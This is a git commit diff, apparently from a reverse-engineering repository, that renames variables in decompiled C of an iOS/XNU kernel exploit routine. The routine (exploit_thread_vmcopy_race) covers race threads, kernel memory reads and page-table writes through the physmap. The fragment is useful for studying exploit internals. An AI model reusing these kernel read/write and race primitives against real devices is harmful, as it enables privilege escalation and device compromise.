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https://github.com/khanhduytran0/coruna.git
synced 2026-07-12 23:16:39 +02:00
Clean up vmcopy race block captures
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khanhduytran0
@@ -10511,6 +10511,46 @@ __int64 __fastcall call_vtable_ptr_slot2(__int64 a1)
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//----- (00000000000111C0) ----------------------------------------------------
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__int64 __fastcall exploit_thread_vmcopy_race(__int64 a1)
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{
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struct vmcopy_race_thread_block
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{
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uint64_t isa;
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uint64_t flags;
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void *invoke;
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void *descriptor;
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__int64 *state;
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thread_act_t *targetThread;
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__int128 *threadList;
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semaphore_t readySemaphore;
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semaphore_t resumeSemaphore;
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};
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struct vmcopy_write_physmap_block
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{
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uint64_t isa;
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uint64_t flags;
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__int64 (__fastcall *invoke)(__int64, unsigned __int8);
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void *descriptor;
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__int64 ctx;
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__int64 kaddr;
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unsigned __int64 pteIndex;
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unsigned __int64 pteAddr;
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unsigned __int64 pageTableBase;
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vm_size_t size;
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__int64 savedNext;
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__int64 savedPrev;
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int pageShift;
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mem_entry_name_port_t objectHandle;
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};
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struct vmcopy_trigger_thread_block
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{
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uint64_t isa;
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uint64_t flags;
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void *invoke;
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void *descriptor;
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__int64 ctx;
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__int64 *state;
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semaphore_t readySemaphore;
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semaphore_t resumeSemaphore;
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};
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__int64 *v2; // x20
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unsigned __int64 v3; // x24
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__int64 v4; // x0
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@@ -10616,28 +10656,12 @@ __int64 __fastcall exploit_thread_vmcopy_race(__int64 a1)
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vm_offset_t v108; // [xsp+F0h] [xbp-610h]
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unsigned __int64 v109; // [xsp+F8h] [xbp-608h]
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vm_address_t v110; // [xsp+100h] [xbp-600h] BYREF
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uint64_t v111[6]; // [xsp+108h] [xbp-5F8h] BYREF
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semaphore_t v112; // [xsp+138h] [xbp-5C8h]
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semaphore_t v113; // [xsp+13Ch] [xbp-5C4h]
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struct vmcopy_trigger_thread_block triggerThreadBlock; // [xsp+108h] [xbp-5F8h] BYREF
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natural_t suspendedThreadState[0x44]; // [xsp+140h] [xbp-5C0h] BYREF
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uint64_t v131[2]; // [xsp+250h] [xbp-4B0h] BYREF
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__int64 (__fastcall *v132)(__int64, unsigned __int8); // [xsp+260h] [xbp-4A0h]
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void *v133; // [xsp+268h] [xbp-498h]
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__int64 v134; // [xsp+270h] [xbp-490h]
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__int64 v135; // [xsp+278h] [xbp-488h]
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unsigned __int64 v136; // [xsp+280h] [xbp-480h]
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unsigned __int64 v137; // [xsp+288h] [xbp-478h]
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unsigned __int64 v138; // [xsp+290h] [xbp-470h]
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vm_size_t v139; // [xsp+298h] [xbp-468h]
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__int64 v140; // [xsp+2A0h] [xbp-460h]
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__int64 v141; // [xsp+2A8h] [xbp-458h]
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int v142; // [xsp+2B0h] [xbp-450h]
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mem_entry_name_port_t v143; // [xsp+2B4h] [xbp-44Ch]
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struct vmcopy_write_physmap_block writePhysmapBlock; // [xsp+250h] [xbp-4B0h] BYREF
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vm_address_t v144; // [xsp+2B8h] [xbp-448h] BYREF
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integer_t policy_info[4]; // [xsp+2C0h] [xbp-440h] BYREF
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uint64_t v146[7]; // [xsp+2D0h] [xbp-430h] BYREF
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semaphore_t v147; // [xsp+308h] [xbp-3F8h]
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semaphore_t v148; // [xsp+30Ch] [xbp-3F4h]
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struct vmcopy_race_thread_block raceThreadBlock; // [xsp+2D0h] [xbp-430h] BYREF
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pthread_t v149; // [xsp+310h] [xbp-3F0h] BYREF
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__int64 v150; // [xsp+318h] [xbp-3E8h] BYREF
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vm_address_t v151; // [xsp+320h] [xbp-3E0h] BYREF
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@@ -10775,16 +10799,16 @@ __int64 __fastcall exploit_thread_vmcopy_race(__int64 a1)
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v27 = v151;
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v150 = 0;
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memset(v180, 0, sizeof(v180));
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v146[0] = _NSConcreteStackBlock;
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v146[1] = 3221225472LL;
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v146[2] = run_exploit_thread;
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v146[3] = &unk_44870;
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v147 = v160;
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v148 = semaphore;
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v146[4] = &v150;
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v146[5] = &target_act;
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v146[6] = v180;
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pthread_create(&v149, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2, v146);
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raceThreadBlock.isa = _NSConcreteStackBlock;
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raceThreadBlock.flags = 3221225472LL;
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raceThreadBlock.invoke = run_exploit_thread;
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raceThreadBlock.descriptor = &unk_44870;
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raceThreadBlock.readySemaphore = v160;
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raceThreadBlock.resumeSemaphore = semaphore;
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raceThreadBlock.state = &v150;
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raceThreadBlock.targetThread = &target_act;
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raceThreadBlock.threadList = v180;
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pthread_create(&v149, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2, &raceThreadBlock);
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semaphore_wait(semaphore);
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v28 = pthread_mach_thread_np(v149);
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*(__int128 *)policy_info = xmmword_42F00;
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@@ -10967,20 +10991,20 @@ LABEL_68:
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memcpy(__dst, *(const void **)(a1 + 24), sizeof(__dst));
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v68 = kread_u64_value(*(uint64_t *)(a1 + 8), v95);
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v69 = kread_u64_value(*(uint64_t *)(a1 + 8), v65 + 8);
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v131[0] = _NSConcreteStackBlock;
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v131[1] = 3221225472LL;
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v132 = write_kaddr_to_physmap;
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v133 = &unk_44890;
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v134 = a1;
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v135 = v95;
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v136 = v99;
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v137 = v65;
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v138 = v106;
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v139 = size;
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v142 = v159;
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v143 = object_handle;
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v140 = v69;
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v141 = v68;
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writePhysmapBlock.isa = _NSConcreteStackBlock;
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writePhysmapBlock.flags = 3221225472LL;
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writePhysmapBlock.invoke = write_kaddr_to_physmap;
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writePhysmapBlock.descriptor = &unk_44890;
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writePhysmapBlock.ctx = a1;
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writePhysmapBlock.kaddr = v95;
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writePhysmapBlock.pteIndex = v99;
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writePhysmapBlock.pteAddr = v65;
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writePhysmapBlock.pageTableBase = v106;
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writePhysmapBlock.size = size;
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writePhysmapBlock.pageShift = v159;
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writePhysmapBlock.objectHandle = object_handle;
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writePhysmapBlock.savedNext = v69;
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writePhysmapBlock.savedPrev = v68;
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v70 = get_task_kobject_addr_from_field32(*(uint64_t *)(a1 + 8), v162);
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v71 = *(struct_krwCtx **)(*(uint64_t *)(a1 + 8) + 32LL);
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v72 = kread_u64_value(*(uint64_t *)(a1 + 8), qword_48008 + v70);
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@@ -11035,19 +11059,19 @@ LABEL_68:
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{
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memcpy(*(void **)(a1 + 24), __dst, 0x130u);
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v150 = 0;
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v111[0] = _NSConcreteStackBlock;
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v111[1] = 3221225472LL;
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v111[2] = trigger_thread_state_mod;
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v111[3] = &unk_448B0;
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v112 = v160;
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v113 = semaphore;
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v111[4] = a1;
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v111[5] = &v150;
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pthread_create(&v149, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2, v111);
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triggerThreadBlock.isa = _NSConcreteStackBlock;
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triggerThreadBlock.flags = 3221225472LL;
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triggerThreadBlock.invoke = trigger_thread_state_mod;
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triggerThreadBlock.descriptor = &unk_448B0;
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triggerThreadBlock.readySemaphore = v160;
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triggerThreadBlock.resumeSemaphore = semaphore;
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triggerThreadBlock.ctx = a1;
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triggerThreadBlock.state = &v150;
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pthread_create(&v149, 0, (void *(__cdecl *)(void *))call_vtable_ptr_slot2, &triggerThreadBlock);
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semaphore_wait(semaphore);
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semaphore_signal(v160);
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*(uint64_t *)(*(uint64_t *)(a1 + 24) + 240LL) = 0;
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v132((__int64)v131, 8u);
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writePhysmapBlock.invoke((__int64)&writePhysmapBlock, 8u);
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v150 = 1;
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v79 = *(uint64_t *)(a1 + 24);
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v80 = (uint32_t *)(v79 + 272);
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@@ -11060,7 +11084,7 @@ LABEL_68:
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*v81 = v48;
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}
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while ( !*v82 );
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v132((__int64)v131, 1u);
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writePhysmapBlock.invoke((__int64)&writePhysmapBlock, 1u);
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pthread_join(v149, 0);
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v84 = kread_u64_value(*(uint64_t *)(a1 + 8), v100 + 296);
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if ( v84 != v78 && v84 != v48 && v84 != v41 )
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